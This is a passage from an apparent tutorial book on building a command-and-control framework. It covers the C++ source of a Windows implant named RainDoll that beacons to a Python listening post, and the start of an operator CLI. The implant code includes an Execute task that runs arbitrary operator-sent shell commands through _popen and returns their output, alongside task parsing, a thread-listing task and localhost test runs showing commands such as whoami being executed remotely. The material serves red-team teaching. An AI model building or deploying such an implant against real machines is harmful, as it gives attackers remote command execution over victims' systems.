We need to declare this if-conditional logic for every task type that we add. The good news is that the code will be the same for every task. The only thing to keep in mind is that, if we want to pass any parameters to the task, we'll want to declare those parameters within the task code. For the Ping task, we don't need to pass any parameters. But, for the Configure task, we will need to pass a variable for the dwell time, running status and a setter function. Lastly, we have an error message that we throw if nothing matched.

The next section we'll cover is the actual code for each task, currently it's just Ping and Configure. We'll be adding more tasks after we perform a test run of the current implant code to ensure everything is working as expected:

```cpp
// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}

// ConfigureTask
// -------------------------------------------------------------------------------------------
// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ===========================================================================================
```

The Ping task starts out by defining the constructor, which just instantiates the "id" variable. Next, are the actions that the task will perform within the "run" method. In the case of Ping, all it's going to do is set a variable called "pingResult" with the text "PONG!". Then, it's going to return a Result object with the result ID, the contents of the pingResult variable and a success status of "true". So, what we should see happen, is that an operator can request the Ping task from the listening post and the implant should respond with "PONG!" in the result contents.

The Configure task is a bit more involved, but it still follows the same general template as the Ping task. First, we need to have a Configuration object, so we declare a constructor that will instantiate the mean dwell time and running status variables. Next, we have our Configure task object constructor that will instantiate the mean dwell time, running status and a setter function. The Configure "run" method will call the setter to define the mean dwell time and running status for the implant configuration. Then, it returns a Result object with the result ID, a string of "Configuration successful!" in the result contents and a success status of "true".

That's it for our implant code! I think we're ready to do a test run with the Ping and Configure tasks to verify that everything is working right.

## Implant Test Drive

Start out by building the implant project for x64 platforms and ensuring that there's no errors. If you need a copy of the project so far, you can find it in the folder called "**chapter3-2**". Start the Skytree listening post by navigating to the "Skytree" folder and running `python listening_post.py` . After it's running, navigate to <http://127.0.0.1:5000/tasks> and you should see an empty array. Open up the implant build output folder and run the "RainDoll.exe" file from a command prompt. You should start seeing some messages like the following:

```cpp

RainDoll is sending results to listening post...

Request body: {}

Listening post response content: []

Parsing tasks received...
```

If you see the above, you're ready to start sending some tasks to the implant. Make an "AddTasks" POST request that will look like the following:

```cpp
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
	{
		"task_type":"ping"
	},
	{
		"task_type":"configure",
		"dwell":"10",
		"running":"true"
	}
]
```

You can run the following copy and paste the following Powershell command to send the above request:

```cpp
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n	{`n		`"task_type`":`"ping`"`n	},`n	{`n		`"task_type`":`"configure`",`n		`"dwell`":`"10`",`n		`"running`":`"true`"`n	}`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
```

The response from the listening post should be something similar to:

```cpp
[
    {
        "_id": {
            "$oid": "5f6d79f0534c41989c1e8db0"
        },
        "task_id": "66e66e4a-06d0-40d9-8e5c-50d6ac55b640",
        "task_type": "ping"
    },
    {
        "_id": {
            "$oid": "5f6d79f0534c41989c1e8db2"
        },
        "task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877",
        "task_type": "configure",
        "dwell": "10",
        "running": "true"
    }
]
```

Now, you should see the following appear in the implant output on the command line:

```cpp

================================================

RainDoll is sending results to listening post...

Request body: {}

Listening post response content: [{"_id": {"$oid": "5f6d79f0534c41989c1e8db0"}, "task_id": "66e66e4a-06d0-40d9-8e5c-50d6ac55b640", "task_type": "ping"}, {"_id": {"$oid": "5f6d79f0534c41989c1e8db2"}, "task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877", "task_type": "configure", "dwell": "10", "running": "true"}]

Parsing tasks received...

================================================

RainDoll is sending results to listening post...

Request body: {"66e66e4a-06d0-40d9-8e5c-50d6ac55b640":{"contents":"PONG!","success":"true"},"b0ae0445-8168-48e2-ac84-2a1635a28877":{"contents":"Configuration successful!","success":"true"}}

Listening post response content: []

Parsing tasks received...

================================================
```

Navigate to the "ListResults" endpoint (<http://127.0.0.1:5000/results>) and you should get back the following:

```cpp
[
    {
        "_id": {
            "$oid": "5f6d7ad7534c41989c1e8db9"
        },
        "result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d",
        "8baee355-91a3-4a69-a708-6c491314a93e": {
            "contents": "Configuration successful!",
            "success": "true"
        },
        "9738db31-fffd-42ca-9f82-8e74125dd263": {
            "contents": "PONG!",
            "success": "true"
        }
    }
]
```

You'll note that the results include the task ID, the result contents and the success status of "true" for both tasks we requested. With that, we've successfully completed a full end-to-end flow of requesting a task from our listening post, having the implant run our tasks and seeing the results!

The last thing we'll cover in this chapter is how to add new tasks to the existing code. We'll use this knowledge to build an OS command execution task and a task to list threads. That will round out our basic implant and serve as a solid code foundation moving forward.

## Adding New Implant Tasks

The first thing we need to do when we want to add new tasks is open the `tasks.h` header file. We'll add the definitions for our Execute and List Threads task (based on the Microsoft docs sample [here](https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread-list)), along with some minor changes to the variant such that it looks like the following:

{% tabs %}
{% tab title="tasks.h" %}

```cpp
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>


// Define implant configuration
struct Configuration {
	Configuration(double meanDwell, bool isRunning);
	const double meanDwell;
	const bool isRunning;
};


// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
	PingTask(const boost::uuids::uuid& id);
	constexpr static std::string_view key{ "ping" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
};


// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
	ConfigureTask(const boost::uuids::uuid& id,
		double meanDwell,
		bool isRunning,
		std::function<void(const Configuration&)> setter);
	constexpr static std::string_view key{ "configure" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
private:
	std::function<void(const Configuration&)> setter;
	const double meanDwell;
	const bool isRunning;
};


// ExecuteTask
// -------------------------------------------------------------------------------------------
struct ExecuteTask {
	ExecuteTask(const boost::uuids::uuid& id, std::string command);
	constexpr static std::string_view key{ "execute" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;

private:
	const std::string command;
};


// ListThreadsTask
// -------------------------------------------------------------------------------------------
struct ListThreadsTask {
	ListThreadsTask(const boost::uuids::uuid& id, std::string processId);
	constexpr static std::string_view key{ "list-threads" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
private:
	const std::string processId;
};

// ===========================================================================================

// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;

[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
	std::function<void(const Configuration&)> setter);

```

{% endtab %}
{% endtabs %}

Let's cover the definitions for the new tasks we just added:

```cpp
// ExecuteTask
// -------------------------------------------------------------------------------------------
struct ExecuteTask {
	ExecuteTask(const boost::uuids::uuid& id, std::string command);
	constexpr static std::string_view key{ "execute" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;

private:
	const std::string command;
};


// ListThreadsTask
// -------------------------------------------------------------------------------------------
struct ListThreadsTask {
	ListThreadsTask(const boost::uuids::uuid& id, std::string processId);
	constexpr static std::string_view key{ "list-threads" };
	[[nodiscard]] Result run() const;
	const boost::uuids::uuid id;
private:
	const std::string processId;
};
```

As you can see, the general layout is we write the constructor and then declare what the key is for the task. This is the text value we'll be sending from the listening post to specify the task we want to run and is what we write in the "AddTask" request. For the Execute task, the key is going to be "execute" and for List Threads, the key will be "list-threads". Then, we specify that we have a "run" method with an attribute of "\[\[nodiscard]]" because we don't expect to be in a situation where we don't do something with the return value. Lastly, we have an ID variable and a section for private variables specific to individual tasks. For Execute, it's the OS command we want to run and for List Threads, it's the process ID we want to list threads for.

The last thing we need to modify in the header file is the variant:

```cpp
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;
```

You can see that we have added an "ExecuteTask" and "ListThreadsTask" to this variant. You'll need to remember that any new tasks will also need to be included here.

We're ready to move on now to the `tasks.cpp` file where we'll add in the actual code for our new tasks. When we're all done, it should look like this:

{% tabs %}
{% tab title="tasks.cpp" %}

```cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
    std::function<void(const Configuration&)> setter) {
    // Get the task type and identifier, declare our variables
    const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
    const auto idString = taskTree.get_child("task_id").get_value<std::string>();
    std::stringstream idStringStream{ idString };
    boost::uuids::uuid id{};
    idStringStream >> id;

    // Conditionals to determine which task should be executed based on key provided
    // REMEMBER: Any new tasks must be added to the conditional check, along with arg values
    // ===========================================================================================
    if (taskType == PingTask::key) {
        return PingTask{
            id
        };
    }
    if (taskType == ConfigureTask::key) {
        return ConfigureTask{
            id,
            taskTree.get_child("dwell").get_value<double>(),
            taskTree.get_child("running").get_value<bool>(),
            std::move(setter)
        };
    }
    if (taskType == ExecuteTask::key) {
        return ExecuteTask{
            id,
            taskTree.get_child("command").get_value<std::string>()
        };
    }
    if (taskType == ListThreadsTask::key) {
        return ListThreadsTask{
            id,
            taskTree.get_child("procid").get_value<std::string>()
        };
    }

    // ===========================================================================================

    // No conditionals matched, so an undefined task type must have been provided and we error out
    std::string errorMsg{ "Illegal task type encountered: " };
    errorMsg.append(taskType);
    throw std::logic_error{ errorMsg };
}

// Tasks
// ===========================================================================================

// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
    : id{ id } {}

Result PingTask::run() const {
    const auto pingResult = "PONG!";
    return Result{ id, pingResult, true };
}

// ConfigureTask
// -------------------------------------------------------------------------------------------
// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
    : meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
    double meanDwell,
    bool isRunning,
    std::function<void(const Configuration&)> setter)
    : id{ id },
    meanDwell{ meanDwell },
    isRunning{ isRunning },
    setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
    // Call setter to set the implant configuration, mean dwell time and running status
    setter(Configuration{ meanDwell, isRunning });
    return Result{ id, "Configuration successful!", true };
}

// ExecuteTask
// -------------------------------------------------------------------------------------------
ExecuteTask::ExecuteTask(const boost::uuids::uuid& id, std::string command)
    : id{ id },
    command{ std::move(command) } {}

Result ExecuteTask::run() const {
    std::string result;
    try {
        std::array<char, 128> buffer{};
        std::unique_ptr<FILE, decltype(&_pclose)> pipe{
            _popen(command.c_str(), "r"),
            _pclose
        };
        if (!pipe)
            throw std::runtime_error("Failed to open pipe.");
        while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
            result += buffer.data();
        }
        return Result{ id, std::move(result), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

// ListThreadsTask
// -------------------------------------------------------------------------------------------
ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId)
    : id{ id },
    processId{ processId } {}

Result ListThreadsTask::run() const {
    try {
        std::stringstream threadList;
        auto ownerProcessId{ 0 };

        // User wants to list threads in current process
        if (processId == "-") {
            ownerProcessId = GetCurrentProcessId();
        }
        // If the process ID is not blank, try to use it for listing the threads in the process
        else if (processId != "") {
            ownerProcessId = stoi(processId);
        }
        // Some invalid process ID was provided, throw an error
        else {
            return Result{ id, "Error! Failed to handle given process ID.", false };
        }

        HANDLE threadSnap = INVALID_HANDLE_VALUE;
        THREADENTRY32 te32;

        // Take a snapshot of all running threads
        threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (threadSnap == INVALID_HANDLE_VALUE)
            return Result{ id, "Error! Could not take a snapshot of all running threads.", false };

        // Fill in the size of the structure before using it. 
        te32.dwSize = sizeof(THREADENTRY32);

        // Retrieve information about the first thread,
        // and exit if unsuccessful
        if (!Thread32First(threadSnap, &te32))
        {
            CloseHandle(threadSnap);     // Must clean up the snapshot object!
            return Result{ id, "Error! Could not retrieve information about first thread.", false };
        }

        // Now walk the thread list of the system,
        // and display information about each thread
        // associated with the specified process
        do
        {
            if (te32.th32OwnerProcessID == ownerProcessId)
            {
                // Add all thread IDs to a string stream
                threadList << "THREAD ID      = " << te32.th32ThreadID << "\n";
            }
        } while (Thread32Next(threadSnap, &te32));

        //  Don't forget to clean up the snapshot object.
        CloseHandle(threadSnap);
        // Return string stream of thread IDs
        return Result{ id, threadList.str(), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}

// ===========================================================================================

```

{% endtab %}
{% endtabs %}

Let's begin by covering the code for our new Execute task:

```cpp
// ExecuteTask
// -------------------------------------------------------------------------------------------
ExecuteTask::ExecuteTask(const boost::uuids::uuid& id, std::string command)
    : id{ id },
    command{ std::move(command) } {}

Result ExecuteTask::run() const {
    std::string result;
    try {
        std::array<char, 128> buffer{};
        std::unique_ptr<FILE, decltype(&_pclose)> pipe{
            _popen(command.c_str(), "r"),
            _pclose
        };
        if (!pipe)
            throw std::runtime_error("Failed to open pipe.");
        while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
            result += buffer.data();
        }
        return Result{ id, std::move(result), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}
```

We use the same template as the previous tasks and start by defining the constructor of Execute with a "command" variable specified, since we want to pass a command line value to this task. For the run method, we're declaring a "result" variable and then we try to run a command. We do this by having a buffer declared, getting a pointer to a pipe where we pass in the command string to "\_popen()" and then calling "\_pclose()".  If we failed to get a pointer to a pipe, then we throw an error. Otherwise, we begin a while-loop that reads in the results of the command into our buffer. We store the buffer into a "result" variable and pass this into the Result object that we return to the calling function.

Let's follow the same template and add in our last task, List Threads (original source code obtained from the Microsoft Docs page [here](https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread-list)):

```cpp
// ListThreadsTask
// -------------------------------------------------------------------------------------------
ListThreadsTask::ListThreadsTask(const boost::uuids::uuid& id, std::string processId)
    : id{ id },
    processId{ processId } {}

Result ListThreadsTask::run() const {
    try {
        std::stringstream threadList;
        auto ownerProcessId{ 0 };

        // User wants to list threads in current process
        if (processId == "-") {
            ownerProcessId = GetCurrentProcessId();
        }
        // If the process ID is not blank, try to use it for listing the threads in the process
        else if (processId != "") {
            ownerProcessId = stoi(processId);
        }
        // Some invalid process ID was provided, throw an error
        else {
            return Result{ id, "Error! Failed to handle given process ID.", false };
        }

        HANDLE threadSnap = INVALID_HANDLE_VALUE;
        THREADENTRY32 te32;

        // Take a snapshot of all running threads
        threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (threadSnap == INVALID_HANDLE_VALUE)
            return Result{ id, "Error! Could not take a snapshot of all running threads.", false };

        // Fill in the size of the structure before using it. 
        te32.dwSize = sizeof(THREADENTRY32);

        // Retrieve information about the first thread,
        // and exit if unsuccessful
        if (!Thread32First(threadSnap, &te32))
        {
            CloseHandle(threadSnap);     // Must clean up the snapshot object!
            return Result{ id, "Error! Could not retrieve information about first thread.", false };
        }

        // Now walk the thread list of the system,
        // and display information about each thread
        // associated with the specified process
        do
        {
            if (te32.th32OwnerProcessID == ownerProcessId)
            {
                // Add all thread IDs to a string stream
                threadList << "THREAD ID      = " << te32.th32ThreadID << "\n";
            }
        } while (Thread32Next(threadSnap, &te32));

        //  Don't forget to clean up the snapshot object.
        CloseHandle(threadSnap);
        // Return string stream of thread IDs
        return Result{ id, threadList.str(), true };
    }
    catch (const std::exception& e) {
        return Result{ id, e.what(), false };
    }
}
```

We use the exact same code in the constructor for List Threads as in Execute, except we are passing a process ID variable instead of a command variable. In the "run" method for List Threads, we have a variable to hold our thread list and we say that if "-" is received as the process ID, then we should return the threads in the process where the implant is running with the "GetCurrentProcessId" function. Otherwise, we store the requested process ID in a variable. Next, we take a snapshot of all running threads  and loop through every thread in the list to find ones that have an owner process ID that matches the one provided. Whenever we get a match, append a string to the list with a format of "THREAD ID =" followed by the ID of the thread and a newline character. When the thread list has ended, the loop ends and we close the handle to the snapshot. Finally, we return a Result object that holds the ID, list of threads matching the process ID we gave the implant and a success status of "true".

The last section we add for new tasks in the file is for the conditional check:

```cpp
// Conditionals to determine which task should be executed based on key provided
// REMEMBER: Any new tasks must be added to the conditional check, along with arg values
// ===========================================================================================
if (taskType == PingTask::key) {
    return PingTask{
        id
    };
}
if (taskType == ConfigureTask::key) {
    return ConfigureTask{
        id,
        taskTree.get_child("dwell").get_value<double>(),
        taskTree.get_child("running").get_value<bool>(),
        std::move(setter)
    };
}
if (taskType == ExecuteTask::key) {
    return ExecuteTask{
        id,
        taskTree.get_child("command").get_value<std::string>()
    };
}
if (taskType == ListThreadsTask::key) {
    return ListThreadsTask{
        id,
        taskTree.get_child("procid").get_value<std::string>()
    };
}
```

You'll see that beneath the ConfigureTask, we've added conditional checks for the Execute task key and the List Threads task key. We are passing the command line variable as "command" for Execute and the process ID variable as "procid" for List Threads.

That's all the code we have to add for the new tasks. If you want to integrate more tasks, that's the general pattern you can follow. Next, it's time to take these newly added tasks for a spin!

## New Tasks Test Drive

Start off by building the project for x64 platforms and ensuring that there's no compilation errors. All the code we've written thus far can be found in a folder called "**chapter3-3**". Next, make sure the Skytree listening post is running and if not, start it now by navigating to the "**Skytree**" folder and running `python listening_post.py`. Navigate to the build output folder and execute the `RainDoll.exe` file from the command line. With the implant running, make an "AddTasks" POST request with the following:

```cpp
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
	{
		"task_type":"list-threads",
		"procid":"-"
	},
	{
		"task_type":"execute",
		"command":"whoami"
	}
]
```

You can run the following PowerShell lines to make the above request:

```cpp
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n	{`n		`"task_type`":`"list-threads`",`n		`"procid`":`"-`"`n	},`n	{`n		`"task_type`":`"execute`",`n		`"command`":`"whoami`"`n	}`n]"

$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json
```

After sending the "AddTasks" request, you should see something similar to the following on the RainDoll command line window:

```cpp
================================================

RainDoll is sending results to listening post...

Request body: {}

Listening post response content: [{"_id": {"$oid": "5f6d93f43b3a9c5331e5a671"}, "task_id": "a104a800-cfbd-4796-8699-a1a3bd07c9dc", "task_type": "list-threads", "procid": "-"}, {"_id": {"$oid": "5f6d93f43b3a9c5331e5a673"}, "task_id": "3fc58f58-553d-427f-854b-87448013f5d8", "task_type": "execute", "command": "whoami"}]

Parsing tasks received...

================================================

RainDoll is sending results to listening post...

Request body: {"3fc58f58-553d-427f-854b-87448013f5d8":{"contents":"laptop-test\\TestUser\n","success":"true"},"a104a800-cfbd-4796-8699-a1a3bd07c9dc":{"contents":"THREAD ID      = 63892\nTHREAD ID      = 63944\nTHREAD ID      = 63900\nTHREAD ID      = 63920\n","success":"true"}}

Listening post response content: []

Parsing tasks received...

================================================
```

If visit the "ListResults" endpoint (<http://127.0.0.1:5000/results>), you should see the following if all went well:

```cpp
[
    {
        "_id": {
            "$oid": "5f6d7ad7534c41989c1e8db9"
        },
        "result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d",
        "8baee355-91a3-4a69-a708-6c491314a93e": {
            "contents": "Configuration successful!",
            "success": "true"
        },
        "9738db31-fffd-42ca-9f82-8e74125dd263": {
            "contents": "PONG!",
            "success": "true"
        }
    },
    {
        "_id": {
            "$oid": "5f6d93f63b3a9c5331e5a675"
        },
        "result_id": "efa33331-7c60-4623-af8f-99f26b022109",
        "3fc58f58-553d-427f-854b-87448013f5d8": {
            "contents": "laptop-test\\TestUser\n",
            "success": "true"
        },
        "a104a800-cfbd-4796-8699-a1a3bd07c9dc": {
            "contents": "THREAD ID      = 63892\nTHREAD ID      = 63944\nTHREAD ID      = 63900\nTHREAD ID      = 63920\n",
            "success": "true"
        }
    }
]
```

You'll note the addition of an entry with the command execution task results and the list threads task results. If you made it this far, congrats! That's everything there is to do for building this basic implant and tasking. Give yourself a big pat on the back!

## Conclusion

That's the end of the chapter on our basic implant, we went through a lot of stuff and worked through the core concepts of a command & control beaconing agent. We learned about how the beaconing loop is built, the way in which we make requests to the listening post and how we parse and execute tasks. Finally, we tested out the complete operator flow and went through the process of extending the implant with new tasks. In the next chapter, we'll build a command line interface client where we can send tasks and view results without having to manually make each request.

## Further Reading & Next Steps

To learn more about building C2 implants, see the following resources:

* C++ for Hackers by [Josh Lospinoso](https://twitter.com/jalospinoso) (<https://vimeo.com/384348826>)
* C++ Implant by [Josh Lospinoso](https://twitter.com/jalospinoso) (<https://github.com/JLospinoso/cpp-implant>)
* Throwback Implant by [Silent Break Security](https://twitter.com/SilentBreakSec) (<https://github.com/silentbreaksec/Throwback>)
* SK8RAT Implant by [Justin Bui](https://twitter.com/slyd0g) (<https://github.com/slyd0g/SK8RAT>)


# Chapter 4: Operator CLI Client

Creating a CLI client to interact with the listening post and implant.

![](/files/-MDhdWrT-fBLVzK5f0yD)

{% file src="/files/-ML5zRG105McWVPYUp57" %}
Book Source Code
{% endfile %}

## Introduction

In this chapter, we'll be building out our operator CLI client called **Fireworks**. The CLI client will allow us to interact with our listening post via the REST API and serve as an easy way for operators to submit new taskings/view results in a command prompt. The actions will include:

* list-tasks
  * Lists the tasks that are being served to the implant
* add-tasks --tasktype \<task\_type> --options \<key>=\<value>
  * Submit tasks to the listening post
* list-results
  * List the results returned from the implant
* list-history
  * List the history of tasks and their associated results

The reason why we're building a CLI and not a web interface is mainly for reasons of rapid testing and experimentation. I would personally prefer to begin with an interface that's easy to build and test with before I start putting in the time to build out a web interface that may end up being more complicated. When we're confident that our C2 is functioning well with the CLI and we're satisfied with the various core user flows, then we can take the steps towards building a web interface with something like Vue.js or Bootstrap.

Okay, let's get started! Open the folder called "**chapter4-1**" and you'll find the following code in the file `fireworks.py`. Install the requirements by running `pip install -r requirements.txt` to ensure you have all the prerequisites installed. We'll start by going through each code block and try to understand how the CLI client is working:

{% tabs %}
{% tab title="fireworks.py" %}

```python
import click
import requests
import pprint
import json

# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass

@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
    cli()
```

{% endtab %}
{% endtabs %}

## Boilerplate

First, let's get some of the boilerplate out of the way with the following block:

```python
# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass
```

We set a variable that holds the address of our listening post and we declare a function for making an HTTP GET request to our API endpoints. The "api\_get\_request" function accepts the API endpoint as an argument and uses it to make a GET request using the Python [Requests library](https://requests.readthedocs.io/en/master/). It stores the response from the listening post in a variable called "response\_raw". Then, we parse the result as a JSON object and store it into "response\_json". This is what we will return to the user. We then start our section for CLI commands and logic. We're using the Python [Click library](https://click.palletsprojects.com/en/7.x/) to build our CLI client and the "@click.group()" syntax is used to group together commands. We then declare a "cli" function that will simply pass and allow us to execute various commands based on the input provided by the user.

## CLI List Commands

In the following code block, we define each of the implant "list" commands that consist of a simple GET request to the listening post:

```python
@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()
```

The overall format of each list command is roughly the same. We specify the name of the command that the user will type on the command line with `@click.command(name="list-tasks")` and then start writing the function code for that command. We write out some help text that will be displayed for the command if the user types "--help" and declare what the API endpoint is. Lastly, we pretty print out the results of calling the List API with a GET request.

To close out this initial CLI client, we need to add the following.

```python
# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
    cli()
```

The above code block adds the list commands to the CLI and we then specify the main function. That's all we need to start testing out the CLI client, let's get ready for a test drive.

## List Commands Test Drive

Let's try out this client now by starting up the listening post. You can navigate to the "**Skytree**" folder to find the `listening_post.py` file and then run the command `python listening_post.py`. When that's running, start the implant. You can navigate to the "RainDoll" folder and use the Visual Studio solution file to build a new `RainDoll.exe` binary or you can run a binary from an earlier chapter. With both the listening post and the implant running, we're ready to run a list command with the CLI client using the following:

```bash
python fireworks.py list-tasks
```

You should see the following response:

```bash
Here's the tasks:

[]
```

You can get help for each of the commands that are supported with:

```bash
python fireworks.py --help
```

You'll get back:

```bash
Usage: fireworks.py [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  list-history  List the history of tasks and their associated results.
  list-results  List the results returned from the implant.
  list-tasks    Lists the tasks that are being served to the implant.  
```

You can run any of the list commands and you should get back a 200 OK from the listening post. So far, this CLI client isn't terribly useful. But, at least we know it's able to successfully make requests to the listening post API and get back responses. Let's add a mutating command that's a bit more complicated by implementing the Add Tasks command.

## CLI Add Tasks Command

Open the folder called "**chapter4-2**" and you'll find the following updated code in the file `fireworks.py`. We'll go through each code block and try to understand how the Add Tasks command is working:

{% tabs %}
{% tab title="fireworks.py" %}

```python
import click
import requests
import pprint
import json

# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

def api_post_request(endpoint, payload):
    response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass

@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")

    # Perform options parsing if user provided them to the task
    if options != None:
        task_options_dict = {}
        task_options_pairs = options.split(",")

        # For each key-value pair, add them to a dictionary
        for option in task_options_pairs:
            key_vals = option.split("=")
            key = key_vals[0]
            value = key_vals[1]
            pair = {key:value}
            task_options_dict.update(pair)

        # If more than one option was provided, format and append them into a single string
        if len(task_options_dict) > 1:
            keyval_string = ""
            for key,value in task_options_dict.items():
                keyval_string += f'"{key}":"{value}",'
            request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
        # Otherwise, just print the key/value for the single option provided
        else:
            request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, we just submit a payload with the task type specified
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()

# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)
cli.add_command(add_tasks)

